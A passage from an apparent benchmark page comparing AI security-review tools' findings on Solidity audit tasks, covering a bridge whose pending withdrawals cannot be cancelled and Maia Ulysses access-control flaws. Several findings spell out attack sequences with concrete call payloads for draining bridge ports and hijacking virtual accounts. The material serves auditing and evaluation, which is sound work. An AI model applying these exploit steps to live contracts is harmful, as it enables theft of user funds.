emergencyUnlock(Bridge2.sol:596). It replaces and finalizes the validator set (Bridge2.sol:618-626) and unpauses, but touches nothing inrequestedWithdrawalsorfinalizedWithdrawals.4. Mallory calls
batchedFinalizeWithdrawals(Bridge2.sol:302).finalizeWithdrawal(Bridge2.sol:284) checks onlyfinalizedWithdrawalsandcheckDisputePeriod(Bridge2.sol:288, 311-317), which compares against wall-clock time and block numbers that kept advancing during the pause.5.
usdcToken.transfer(Bridge2.sol:291) sends the tokens to Mallory. - Exploit scenario
-
Not specified.
- Recommendation
-
Give pending withdrawals a way to be cancelled. For example, store the validator set epoch (or a
withdrawalGenerationcounter) inside eachWithdrawal, bump that counter inemergencyUnlock, and havefinalizeWithdrawalrequire the stored value to match the current one. Alternatively, letemergencyUnlocktake a list of withdrawal messages to delete fromrequestedWithdrawals. Verify with a test that requests a withdrawal, callsemergencyLock, callsemergencyUnlockwith a new set, advances past the dispute period, and asserts thatbatchedFinalizeWithdrawalsfor that message reverts.
Claude Security (Sonnet 5.5)
Disputed withdrawals cannot be cancelled; lock then emergencyUnlock leaves fraudulent pending withdrawals finalizable
Bridge2.sol:291Predicted severity: High- Root cause
-
Vulnerable symbol: finalizeWithdrawal
Preconditions: Hot validator quorum compromised, or a bad L1 withdrawal signature produced; Finalization is currently blocked by the F-001 bug; this issue becomes live once that is fixed
Offending code:
usdcToken.transfer(withdrawal.user, withdrawal.usdc);
- Impact
-
The dispute and lock mechanism described in the header comments cannot neutralize a bad or compromised withdrawal. Once a hot-key quorum has requested a withdrawal, the cold wallets can only delay it, so the funds can still be stolen. Reaching this requires a hot-key compromise or a faulty L1 signature, which is the scenario the lock is meant to defend against.
- Description
-
requestWithdrawal stores a pending withdrawal signed by the hot validator quorum. The only gates in finalizeWithdrawal are 'not already finalized' and the wall-clock dispute period. No function can invalidate a pending withdrawal, and emergencyUnlock replaces the validator sets without touching requestedWithdrawals. Also CWE-863: A withdrawal authorized by the hot-validator quorum is stored permanently in requestedWithdrawals. finalizeWithdrawal checks only that the message is not yet finalized and that the dispute period has elapsed. It never rechecks that the authorizing validator set is still trusted, and there is no function to cancel or invalidate a requested withdrawal. The design relies on lockers and the cold quorum to stop a malicious withdrawal, but locking only pauses finalization. emergencyUnlock replaces the validator set and unpauses without touching requestedWithdrawals. Also CWE-285: A withdrawal authorized by the hot validator quorum in requestWithdrawal is stored in requestedWithdrawals. finalizeWithdrawal only checks the finalized flag and checkDisputePeriod. It does not check that the authorizing validator set is still active or that the bridge was not locked. emergencyUnlock replaces the validator sets but never touches requestedWithdrawals, and no function lets the cold quorum invalidate pending withdrawals.
- Exploit scenario
-
An attacker who controls a 2/3 quorum of hot keys signs a withdrawal to themselves and calls requestWithdrawal. A locker notices and calls emergencyLock. The cold quorum later calls emergencyUnlock with a clean validator set. The dispute timer kept running while the bridge was paused, so the malicious withdrawal is already past its dispute period. The attacker calls batchedFinalizeWithdrawals immediately after the unpause and drains the funds. The lock and unlock cycle gives the cold validators no step at which to cancel the entry.
- Recommendation
-
Add a cold-quorum-signed, replay-protected invalidateWithdrawals(bytes32[] messages, ...) callable while paused, and have finalizeWithdrawal reject invalidated messages. Alternatively, extend or restart the dispute window on unlock for withdrawals requested before the lock. Also require requestedTime != 0 in finalizeWithdrawal. Also CWE-863: Add a cold-quorum-signed, whenPaused invalidateWithdrawals(bytes32[] messages, nonce, coldSet, signers, signatures) function that records invalidated messages. Require !invalidatedWithdrawals[message] in finalizeWithdrawal. Also require requestedWithdrawals[message].requestedTime != 0 there. Consider re-basing the dispute period on unlock time so that pending withdrawals are not instantly final after an unlock. Also CWE-285: Add a cold-quorum-signed invalidateWithdrawals(bytes32[] messages, ...) that marks pending withdrawals as finalized or cancelled. Alternatively, bind each pending withdrawal to the validator-set epoch that authorized it and reject finalization if the hot set has been replaced via emergencyUnlock. Alternatively, restart the dispute clock for all pending withdrawals on unlock.
-
-
Maia Solidity Maia Ulysses omnichain liquidity. Tasks 13 V12 13/13 Codex Sec 5/13 Pashov Opus 10/13 Pashov GPT-6 10/13 Devin 9/13 Devin (Deep) 11/13 Claude Sec 8/13 Claude Opus 9/13 Vercel 5/13
Maia Ulysses omnichain liquidity.
Read the audit report-
Lack of the RootBridgeAgent contract verification maia-1 · 9 writeups Critical
V12
Permissionless deployment grants unrestricted custody withdrawal authority
src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46Predicted severity: Critical- Root cause
-
Factory deployment automatically grants port authority without authenticating the requested root/controller relationship. The Arbitrum executor check then delegates message authority directly to that untrusted constructor input.
- Impact
-
An arbitrary user can release tokens held by the Arbitrum branch port to their own recipient without depositing or burning corresponding claims. Permissionless factory deployment becomes direct custody authority and can drain available user backing.
- Description
-
Both branch bridge-agent factories expose
createBridgeAgentwithout authorization and accept a caller-selected root bridge-agent address. Creation immediately registers the new agent in the custody port, making it an authorized caller of withdrawal and mint functions. In the Arbitrum specialization,_requiresExecutoraccepts any direct caller equal to that supplied root address. A user can therefore create an agent naming their own account as its root and directly deliver a single-asset settlement withdrawing an existing port asset. The receiving single-asset branch has no additional gas withdrawal or registered-root check that would block this path.
Codex Security (GPT-6 Sol)
Anyone can register an Arbitrum bridge agent and withdraw port reserves
src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46Predicted severity: Critical- Root cause
-
The factory has no caller or trusted-root check. It registers an agent whose executor is controlled by the creator; port authorization trusts that registration, and the agent accepts forged settlement bytes from that executor.
- Impact
-
An unprivileged caller can directly withdraw pooled underlying tokens without a deposit or cross-chain message.
- Description
-
A public factory lets a caller choose a new agent's trusted root address, registers that agent with the port, and the caller can submit a forged settlement to withdraw the port's ERC20 reserves.
- Exploit scenario
-
factory input -> agent root address -> agent executor check -> settlement decode -> port withdrawal
- Recommendation
-
Restrict agent creation and bind the root agent address to a root-approved registry before registering the new agent with the port.
Pashov (Claude Opus 5.5 high)
Unprotected BranchBridgeAgentFactory.createBridgeAgent lets anyone register a malicious Bridge Agent on a Branch Port and drain it
src/2-audit/ulysses-omnichain/factories/BranchBridgeAgentFactory.sol:70Predicted severity: Critical- Root cause
-
Missing
msg.sender == localCoreBranchRouterAddress(requiresCoreRouter) check on createBridgeAgent. Any agent the factory creates is automatically whitelisted in the port. - Impact
-
Total loss of every underlying token held by any Branch Port, including ArbitrumBranchPort, plus unlimited minting of branch hTokens (or global hTokens through ArbitrumBranchPort.bridgeIn -> RootPort.mintToLocalBranch).
- Description
-
Both BranchBridgeAgentFactory.createBridgeAgent and its Arbitrum override are external with no access control. Each deploys a new bridge agent whose router address and root bridge agent address come from the caller, then calls BranchPort.addBridgeAgent. That makes the new agent a trusted
isBridgeAgentof the port, so it can call withdraw/bridgeIn/bridgeInMultiple. localCoreBranchRouterAddress is stored in the factory but never checked. - Exploit scenario
-
Arbitrum: the attacker calls ArbitrumBranchBridgeAgentFactory.createBridgeAgent(attackerRouter, attackerEOA). The new ArbitrumBranchBridgeAgent's _requiresExecutor only checks msg.sender == rootBridgeAgentAddress, which is the attacker's EOA. The attacker calls anyExecute(0x01 | recipient | nonce | hToken | token=USDC | amount | deposit=portBalance | gas) directly. _clearToken -> ArbitrumBranchPort.withdraw(attacker, USDC, portBalance) empties the port. Other branches: the agent is created with rootBridgeAgentAddress = an attacker contract on the root chain. That contract calls AnycallProxy.anyCall to the new branch agent with a crafted settlement. The executor context
frommatches, so the same _clearToken withdraws all of the port's tokens. - Recommendation
-
Restrict createBridgeAgent to localCoreBranchRouterAddress (requiresCoreRouter), as the rest of the system assumes. Consider also having the root side approve new branch agents before the port whitelists them.
Pashov (Codex GPT-6 Sol high)
Permissionless Arbitrum agent registration lets attacker drain BranchPort
audit/src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46Predicted severity: Critical- Root cause
-
Agent registration does not establish that the caller or remote endpoint is approved by the protocol.
- Impact
-
A forged trusted agent may instruct the port to release other users assets.
- Description
-
Once the Arbitrum factory is authorized by BranchPort, anyone can call it with an arbitrary rootBridgeAgentAddress and it immediately registers the new agent in the shared port. The Arbitrum agent trusts direct calls from that chosen address, so an attacker can make a port-authorized agent execute a forged settlement.
- Exploit scenario
-
Choose the attacker EOA as _rootBridgeAgentAddress in createBridgeAgent. From that EOA call newAgent.anyExecute(abi.encodePacked(bytes1(0x01), attacker, uint32(0), address(0), tokenHeldByPort, uint256(N), uint256(N), uint128(0))). The agent calls BranchPort.withdraw(attacker,tokenHeldByPort,N).
- Recommendation
-
Require protocol authorization and verified root pairing before registering an agent in BranchPort; never trust an arbitrary caller-selected root endpoint.
Devin Security
Anyone can deploy a registered branch bridge agent that trusts an attacker-chosen root agent and drain the branch port
src/2-audit/ulysses-omnichain/factories/BranchBridgeAgentFactory.sol:70Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any anonymous user can register their own bridge agent on a branch chain and use it to withdraw every underlying token held by that chain's BranchPort.
##### What's wrong
This is missing access control on a privileged factory.
createBridgeAgenthas no caller check, takes the trusted root agent address from the caller, and then registers the new agent in the BranchPort withaddBridgeAgent. A registered agent can callBranchPort.withdrawandBranchPort.bridgeInfor any token and amount.##### Who can do it
Alice and many other users have bridged USDC from a branch chain, so the BranchPort holds their USDC. Mallory has only a wallet. She calls
createBridgeAgent(anyRouter, mallorysContract)on the branch factory. She then makesmallorysContract, on any chain AnyCall supports, send an AnyCall message to her new agent with flag0x01and a settlement that names USDC as the token and the port's full balance as the deposit.- The branch factory is deployed and is a registered factory in the BranchPort.
- Mallory can pay the AnyCall source fee from a contract she controls.
- The same flaw exists in
ArbitrumBranchBridgeAgentFactory.createBridgeAgent.##### What they get
Mallory receives all of the port's USDC, and the same for every other underlying token the port holds. She can also mint unlimited branch hTokens to herself. Every user who bridged through that branch loses their funds. The damage covers every branch chain where the factory is deployed.
##### How it works
1. Mallory calls
BranchBridgeAgentFactory.createBridgeAgent(line 70), which accepts any_rootBridgeAgentAddressand has no access check.2. The factory calls
BranchPort.addBridgeAgent(line 87), and the port setsisBridgeAgent[newAgent] = true.3. The new agent's
_requiresExecutorinBranchBridgeAgent.sol(lines 121-125) only checks that the AnyCallfromequals Mallory's chosen root agent address. It does not check the source chain.4. Mallory's contract sends a flag
0x01message.anyExecutedecodes token and deposit from the message and calls_clearToken(BranchBridgeAgent.sol lines 744-756).5.
_clearTokencallsBranchPort.withdraw(recipient, token, deposit)(BranchBridgeAgent.sol line 563), and the port transfers the tokens because the caller is a registered agent. - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict
createBridgeAgentin both the branch and Arbitrum factories to the local core branch router, for exampleif (msg.sender != localCoreBranchRouterAddress) revert UnrecognizedCoreBranchRouter();. Also require the root agent to come from a known root bridge agent factory. To check the fix, add a test where an unrelated address callscreateBridgeAgentand expect a revert. Add a second test that confirms the port never registers that agent.
Devin Security (Deep)
Branch bridge agents trust a constructor-supplied root address; anyone can deploy one through the open factory and forge settlements that drain the branch port
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:121Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can deploy a branch bridge agent through the open factory with a root address they control, and the agent then accepts their forged settlement messages and tells the branch port to hand over any token to them.
##### What's wrong
This is trust in a caller-supplied address combined with an open registration path.
BranchBridgeAgent._requiresExecutor(and the Arbitrum override) treats whoever matchesrootBridgeAgentAddressas the root chain, but that address is an unchecked constructor argument thatBranchBridgeAgentFactory.createBridgeAgentlets anyone choose, and the factory immediately registers the new agent as a trusted bridge agent inBranchPort.##### Who can do it
Alice has USDC in the Arbitrum port. Mallory, an attacker with a wallet, calls
ArbitrumBranchBridgeAgentFactory.createBridgeAgent(anyRouter, mallory)wheremalloryis her own address. She then callsanyExecuteon the new agent directly with a flag 0x01 settlement that names herself as recipient, USDC as the token and the port's whole balance as the deposit. On other branch chains she does the same, but sends the message through anycall from a contract she deployed on the root chain at the address she registered.- A wallet with gas on the target branch chain. For non-Arbitrum chains she also needs to call anycall from the root chain, which is open to any contract that pays the fee.
-
createBridgeAgenton the branch factory is callable by anyone andBranchPort.addBridgeAgentgrants bridge agent rights at once.- No root-side state is needed. Flag 0x01 settlements do not touch gas accounting, so no fee assumptions apply.
##### What they get
_clearTokencallsBranchPort.withdraw, which pays Mallory any token the port holds, andBranchPort.bridgeIn, which mints any branch hToken to her. She empties every branch port, taking every user's deposits on every chain.##### How it works
1. Mallory calls
createBridgeAgent(router, rootAddress)withrootAddressunder her control (BranchBridgeAgentFactory.sol:70-88, ArbitrumBranchBridgeAgentFactory.sol:46-63); the constructor stores it (BranchBridgeAgent.sol:76-95) andBranchPort.addBridgeAgentsetsisBridgeAgent(BranchPort.sol:272-276).2. She calls
anyExecuteon the agent. On Arbitrum she calls it directly, since the override only checksmsg.sender == rootBridgeAgentAddress(ArbitrumBranchBridgeAgent.sol:122-124). Elsewhere she sends it through anycall, since_requiresExecutoronly checks that the anycallfromequalsrootBridgeAgentAddressand never checks the source chain (BranchBridgeAgent.sol:121-125).3. Flag 0x01 decodes recipient, token and amounts from her payload and calls
_clearToken(BranchBridgeAgent.sol:731-761).4.
_clearTokencallsBranchPort.withdrawandBranchPort.bridgeIn, which passrequiresBridgeAgentand transfer or mint the requested tokens to her (BranchBridgeAgent.sol:555-565, BranchPort.sol:185-211). - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict
createBridgeAgenton the branch factories to the owner, or require that the root bridge agent address was pre-approved by the core branch router after a root-side confirmation, and haveBranchPortgrant bridge agent rights only after that confirmation. In_requiresExecutor, also requirefromChainId == rootChainId. Verify with tests: callcreateBridgeAgentfrom a random account and assert it reverts; deploy an agent with a fake root address and assertanyExecutefrom that address reverts and the port balance is unchanged.
Claude Security (Sonnet 5.5)
Unauthenticated BranchBridgeAgentFactory.createBridgeAgent registers attacker-controlled bridge agents in the BranchPort
src/2-audit/ulysses-omnichain/factories/BranchBridgeAgentFactory.sol:70Predicted severity: Critical- Root cause
-
Vulnerable symbol: createBridgeAgent
Preconditions: Factory is registered in BranchPort.isBridgeAgentFactory, which is its normal deployment.; Attacker can originate an Anycall message from an address they control on the root chain (permissionless in Anycall V7 with prepaid fees).
Offending code:
function createBridgeAgent(
- Impact
-
Complete theft of all underlying tokens held by the BranchPort on every branch chain where the factory is registered, plus unbacked hToken minting. This breaks the bridge's solvency.
- Description
-
Any caller can deploy a BranchBridgeAgent with an arbitrary rootBridgeAgentAddress, and the factory immediately registers it as a trusted bridge agent in the BranchPort (IPort.addBridgeAgent). The agent trusts any Anycall message whose context().from equals that attacker-chosen address, and its anyExecute then calls BranchPort.withdraw/bridgeIn with payload-supplied recipient, token and amount.
- Exploit scenario
-
1) Attacker calls createBridgeAgent(anyRouter, attackerContractOnRootChain). The new agent is added to BranchPort.isBridgeAgent. 2) The attacker contract on the root chain calls Anycall anyCall(newAgent, payload, branchChainId, ...), where payload is flag 0x01 + recipient=attacker + hToken + token=USDC + amount=deposit=Port balance (data[65:129]). 3) The Anycall executor calls newAgent.anyExecute. Context.from equals the attacker address, so _requiresExecutor passes. 4) _clearToken runs IPort.withdraw(attacker, USDC, deposit), which transfers all USDC held by the Port to the attacker. The same works for every token held by the Port, and bridgeIn mints unbacked hTokens.
- Recommendation
-
Restrict createBridgeAgent to the local core branch router, i.e. require msg.sender == localCoreBranchRouterAddress, or to the owner. Also bind the root bridge agent to an allowlist or to the official root factory. Make BranchBridgeAgent._requiresExecutor also check fromChainId == rootChainId.
Claude Security (Opus 5.5)
Anyone can register a bridge agent in BranchPort with a root agent and router they choose, then drain every token in the port
src/2-audit/ulysses-omnichain/factories/BranchBridgeAgentFactory.sol:70Predicted severity: Critical- Root cause
-
Vulnerable symbol: createBridgeAgent
Preconditions: The factory is registered as a bridge agent factory in BranchPort, which is done at initialize; The attacker can send one anycall message from a contract they control (normal anycall usage, no privileges)
Offending code:
function createBridgeAgent(
- Impact
-
Total loss of all underlying assets held by the BranchPort on every non-Arbitrum branch, and unlimited minting of local hTokens that can be bridged to the root for real value.
- Description
-
createBridgeAgent has no caller check. The stored localCoreBranchRouterAddress is never used. It deploys a BranchBridgeAgent whose rootBridgeAgentAddress and localRouterAddress come from the caller, then whitelists it with BranchPort.addBridgeAgent. Every whitelisted agent may call BranchPort.withdraw and bridgeIn for any token. The new agent's _requiresExecutor only checks that the anycall context
fromequals the attacker-chosen rootBridgeAgentAddress. - Exploit scenario
-
1. The attacker deploys contract X on any chain that anycall supports. 2. On the branch, the attacker calls BranchBridgeAgentFactory.createBridgeAgent(router=attacker, rootBridgeAgent=X). The port marks the new agent as a bridge agent. 3. X sends an anyCall to the new agent with the payload 0x01 | attacker(20) | nonce(4) | anyAddr(20) | USDC(20) | amount=N(32) | deposit=N(32) | gas(16). 4. The branch executor calls newAgent.anyExecute. The context
fromis X, so the check passes. _clearToken skips bridgeIn because amount equals deposit, then calls BranchPort.withdraw(attacker, USDC, N). 5. The attacker repeats this for every token the port holds. Setting amount greater than deposit instead calls bridgeIn, which mints unbacked hTokens. As the agent's router, the attacker can also call performCallOutAndBridge(depositor=victim, ...) to pull tokens that victims approved to the port. - Recommendation
-
Only let the core branch router call createBridgeAgent, through a governance path that starts on the root chain (require msg.sender == localCoreBranchRouterAddress). In BranchBridgeAgent._requiresExecutor, also check fromChainId == rootChainId. Consider tracking port balances per bridge agent so one agent cannot withdraw assets deposited through another.
Vercel Security Review
Permissionless Arbitrum agent creation gives attackers authority to withdraw port reserves
src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Anyone chooses a trusted root** -
src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46-49```solidity title="src/2-audit/ulysses-omnichain/factories/ArbitrumBranchBridgeAgentFactory.sol:46-49"
function createBridgeAgent(
address _newBranchRouterAddress,
address _rootBridgeAgentAddress
) external override returns (address newBridgeAgent) {
```
The newly added factory registers this agent with the shared port at line 62 without authorizing the caller or validating the root.
**2. The attacker becomes the executor** -
src/2-audit/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol:122-124```solidity title="src/2-audit/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol:122-124"
function _requiresExecutor() internal view override {
if (msg.sender != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
}
```
**3. Forged settlements drain shared collateral** -
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:562-564```solidity title="src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:562-564"
if (_deposit > 0) {
IPort(localPortAddress).withdraw(_recipient, _token, _deposit);
}
```
The attacker submits single-asset settlements to
anyExecute, selecting their recipient and reserve token. Port authorization succeeds because the factory registered the agent; no corresponding deposit or burn is required. - Exploit scenario
-
Not specified.
- Recommendation
-
Authorize bridge-agent creation through governance or an authenticated core-router flow, validate the configured root agent, and do not grant port privileges before that validation. Apply equivalent registration restrictions to the base branch factory.
-
Missing access control for Multicall maia-2 · 8 writeups Critical
V12
Unauthenticated callback enables account and residual theft
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Critical- Root cause
-
The multiple-deposit callback omits bridge-agent admission and trusts a caller-selected account implementation to supply custody and authorization checks. The downstream
requiresRoutergate authenticates the confused-deputy router, while its unusedlockleaves the real-account approval window exploitable. - Impact
-
An external caller can steal residual hTokens held by the shared router by substituting a fake account and selecting its own settlement recipient. During a legitimate signed call into an attacker-controlled target, that target can also cause the approved real account to transfer its assets directly to the attacker through the no-output branch, without encountering outbound gas or settlement checks.
- Description
-
anyExecuteSignedDepositMultiplelacksrequiresAgentand accepts an arbitraryuserAccount, unlike the single-deposit callback. ForfuncId == 0x02, an attacker-controlled account can return a valid empty result fromcalland makewithdrawERC20a no-op; the router then approves and bridges its own existing token balance to the attacker-selected recipient. The downstream agent'srequiresRoutercheck accepts this request because the router itself makes the call, and no deposit metadata or balance-increase check binds that balance to the supplied account. A concrete same-chain exit usesdepositOut == amountOutto burn residual hTokens and release the corresponding underlying through the local branch port, provided destination backing and the agent's retained fallback-gas threshold are sufficient. The same missing admission check permits an untrusted target invoked during either signed callback to reenter the multiple-deposit callback and issue arbitrary calls through the temporarily approved real account.
Codex Security (GPT-6 Sol)
A called contract can reenter the router and spend a virtual account's assets
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Medium- Root cause
-
The signed multiple-deposit router entry omits the agent guard. During bridge execution, the router already has temporary authority over the user's virtual account, and the public entry lets a called contract reuse that authority before it is revoked.
- Impact
-
The path can steal account-held assets, but requires a user-signed operation that calls a malicious contract during a brief approval window.
- Description
-
During a signed multiple-deposit call, the bridge temporarily approves the router for the user's virtual account; a called contract can reenter an unguarded router entry and make that account transfer unrelated assets.
- Exploit scenario
-
temporary router approval -> target callback -> public router entry -> approved virtual-account call
- Recommendation
-
Apply requiresAgent to anyExecuteSignedDepositMultiple and use explicit approval setting and clearing around every signed execution.
Pashov (Claude Opus 5.5 high)
MulticallRootRouter.anyExecuteSignedDepositMultiple is missing the requiresAgent modifier
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Low- Root cause
-
Missing
requiresAgentmodifier. - Impact
-
Any tokens or ETH sitting in the router can be bridged out to an attacker-chosen recipient through _approveAndCallOut/_approveMultipleAndCallOut. The router's privileges with the bridge agent are exposed to everyone.
- Description
-
Every other entry point of MulticallRootRouter is restricted to the bridge agent, but anyExecuteSignedDepositMultiple has no access control. Anyone can call it with an arbitrary
userAccount(for example an attacker contract that implements call/withdrawERC20 as no-ops) and arbitrary OutputParams. - Exploit scenario
-
Router holds stray hTokens. The attacker calls anyExecuteSignedDepositMultiple(0x02, rlp(calls=[], OutputParams{attacker, hToken, X, X}, toChain), params, attackerContract, 0). The router burns its own hTokens through the bridge agent and the settlement pays underlying to the attacker.
- Recommendation
-
Add
requiresAgentto anyExecuteSignedDepositMultiple.
Pashov (Codex GPT-6 Sol high)
Signed multiple-deposit router handler lacks agent authentication
audit/src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: High- Root cause
-
Missing requiresAgent modifier on this override.
- Impact
-
An external target reached during a signed deposit can make the approved router transfer all tokens held by that user VirtualAccount to the attacker.
- Description
-
This callback lacks requiresAgent. RootBridgeAgent temporarily approves the router to execute a user VirtualAccount during signed deposits, and the router then makes attacker-influenced external calls. A reentrant target can call the unguarded callback with that VirtualAccount and arbitrary Call[], which the router executes as the approved caller.
- Exploit scenario
-
A victim signed single deposit invokes a target controlled by the attacker through VirtualAccount.call. The target reenters anyExecuteSignedDepositMultiple with funcId 0x01, the victim userAccount, and a Call[] that calls ERC20.transfer(attacker,N) on a token held by the VirtualAccount.
- Recommendation
-
Add requiresAgent to the callback and a shared reentrancy guard around every handler that operates on an approved VirtualAccount.
Devin Security
anyExecuteSignedDepositMultiple has no caller check, so it can act on a victim's virtual account
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When a user's signed cross-chain call touches a contract an attacker controls, that contract can call back into the router and empty the user's virtual account.
##### What's wrong
This is a missing authorization check. Every other handler uses
requiresAgent, butanyExecuteSignedDepositMultipledoes not. It runsIVirtualAccount(userAccount).call(calls)for anyuserAccountand any calls the caller passes. The root agent approves the router on a user's virtual account for the whole signed execution, so a call back into the router during that time passes the account's approval check.##### Who can do it
Alice, an Acme user, sends a signed multicall that swaps through a token or pool that Mallory deployed. During the swap, Mallory's contract calls
anyExecuteSignedDepositMultiple(0x01, calls, ..., aliceAccount, ...), wherecallstransfers every token in Alice's virtual account to Mallory.- Alice's signed execution must make an external call into a contract Mallory controls, such as a malicious token, pool, or hook.
##### What they get
Mallory takes every token and NFT held in Alice's virtual account. She can do this only to accounts whose owner is running a signed call at that moment.
##### How it works
1. The root agent sets
isRouterApproved[aliceAccount][router]before signed execution (RootBridgeAgent.sol:947, 975, 1004).2. Alice's calls reach Mallory's contract.
3. Mallory's contract calls
anyExecuteSignedDepositMultiple, which has no caller check (MulticallRootRouter.sol:412-424).4. The router calls
aliceAccount.call(calls), andrequiresApprovedCallerpasses (VirtualAccount.sol:55-58). - Exploit scenario
-
Not specified.
- Recommendation
-
Add
requiresAgenttoanyExecuteSignedDepositMultiple, and also to the same function in CoreRootRouter. Consider a reentrancy lock on all router entry points. Add a test that a direct call from an outside address reverts.
Devin Security (Deep)
anyExecuteSignedDepositMultiple has no caller check, exposing virtual account calls and bridge-agent outputs to anyone
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can call a router entry point that drives a user's virtual account and the bridge agent, which lets an attacker who gets code execution during another user's cross-chain action empty that user's virtual account.
##### What's wrong
This is missing authentication. Every other
anyExecute*function onMulticallRootRoutercarriesrequiresAgent, butanyExecuteSignedDepositMultipledoes not (and is missingoverride). It accepts an arbitraryuserAccountaddress and callsIVirtualAccount(userAccount).call(calls)andwithdrawERC20on it, then callsRootBridgeAgent.callOutAndBridgeas the router.##### Who can do it
Alice, an Acme Bridge user, runs a signed multicall that swaps tokens through her virtual account. Mallory, an attacker, controls a contract that Alice's swap touches (for example a token with transfer hooks that Alice trades). During Alice's execution the root bridge agent has toggled the router as approved on Alice's virtual account. Mallory's contract reenters
MulticallRootRouter.anyExecuteSignedDepositMultiple(0x01, rlpCalls, dummy, aliceVA, chain)with calls that transfer every token out of Alice's virtual account.- Mallory must execute code while
isRouterApproved[aliceVA][router]is true, which only happens inside Alice's ownanyExecuteSigned*window; this requires Alice's calls to reach attacker-controlled code.- Outside such a window the virtual account rejects the router, and the bridge-agent output path only moves tokens the router itself holds.
##### What they get
Mallory drains Alice's virtual account of every token it holds at that moment. Each victim must be attacked individually during their own transaction.
##### How it works
1.
RootBridgeAgent.anyExecuteflag 0x04 toggles the router approved on Alice's virtual account and callsanyExecuteSigned(RootBridgeAgent.sol:942-953).2. Alice's virtual account executes her calls, one of which reaches Mallory's contract (VirtualAccount.sol:42-48).
3. Mallory calls
anyExecuteSignedDepositMultipledirectly; nothing checksmsg.sender(MulticallRootRouter.sol:412-418).4. The router calls
IVirtualAccount(aliceVA).call(mallorysCalls); the approval check passes because the window is open (MulticallRootRouter.sol:421-424, VirtualAccount.sol:55-59). - Exploit scenario
-
Not specified.
- Recommendation
-
Add
requiresAgent(andoverride) toanyExecuteSignedDepositMultiple, matching the other handlers, and add alockmodifier on the router'sanyExecute*functions. Add a test asserting a direct call from a non-agent reverts.
Claude Security (Opus 5.5)
MulticallRootRouter.anyExecuteSignedDepositMultiple has no requiresAgent check, so anyone can run router-privileged Virtual Account calls and bridge-outs
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:412Predicted severity: Medium- Root cause
-
Vulnerable symbol: anyExecuteSignedDepositMultiple
Preconditions: MulticallRootRouter is deployed as the localRouterAddress of a RootBridgeAgent; To drain a Virtual Account, attacker code must run while the router is approved for the victim's account (inside a signed execution); to steal router-held hTokens, the router must hold a balance
Offending code:
function anyExecuteSignedDepositMultiple(
- Impact
-
An attacker can steal assets from users' Virtual Accounts during any signed execution window where it gains control flow. Without any precondition, it can steal hTokens held by the router and act as the router against the RootBridgeAgent's router-only functions. The bridge agent's authentication of the message source is bypassed.
- Description
-
Every other anyExecute* handler in MulticallRootRouter has the
requiresAgentmodifier (msg.sender == bridgeAgentAddress). anyExecuteSignedDepositMultiple (line 412-418) does not. So any external caller can pass its own rlpEncodedData, which RLPDecoder.decodeCallData turns into Call[] and output params, plus any userAccount. The router then runs IVirtualAccount(userAccount).call(calls), withdrawERC20, approves the port for any token, and calls the root bridge agent's router-only callOutAndBridge/callOutAndBridgeMultiple. - Exploit scenario
-
(1) Reentrancy drain of a victim's Virtual Account. RootBridgeAgent approves the router for a user's VirtualAccount only while it runs that user's signed message (toggle on, router call, toggle off). If attacker code gets control flow during that window, for example through a token transfer hook or an attacker contract the victim's calls touch, it calls MulticallRootRouter.anyExecuteSignedDepositMultiple(0x01, RLP([token.transfer(attacker, balance)...]), anyParams, victimVA, 0). isRouterApproved[victimVA][router] is true at that point, so VirtualAccount.call runs the attacker's calls and moves the victim's tokens to the attacker. (2) Direct, with no precondition. The attacker passes its own contract as userAccount, so its call/withdrawERC20 do nothing. The router then approves localPortAddress and calls the bridge agent's router-only callOutAndBridge(Multiple) with recipient, token, amount, deposit and toChain chosen by the attacker. Any hToken balance the router holds is burned or bridged to the attacker's recipient on a branch chain.
- Recommendation
-
Add the
requiresAgentmodifier, andoverrideto match IRootRouter, to anyExecuteSignedDepositMultiple, as the sibling handlers have. Also consider adding alockreentrancy guard to all anyExecute* handlers, and have VirtualAccount check that the call came through the active bridge-agent execution, not only a toggled router approval.
Vercel Security Review
Unguarded multicall handler lets external targets hijack an active virtual account
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:975Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Signed execution temporarily authorizes the router** -
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:975-978```solidity title="src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:975-978"
IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);
IRouter(localRouterAddress).anyExecuteSignedDepositSingle(
data[132], data[133:length - PARAMS_GAS_IN], dParams, address(userAccount), fromChainId
```
If the user's calls reach an attacker-controlled target, that target can reenter while approval remains active.
**2. The new multiple-deposit handler accepts unauthenticated calls** -
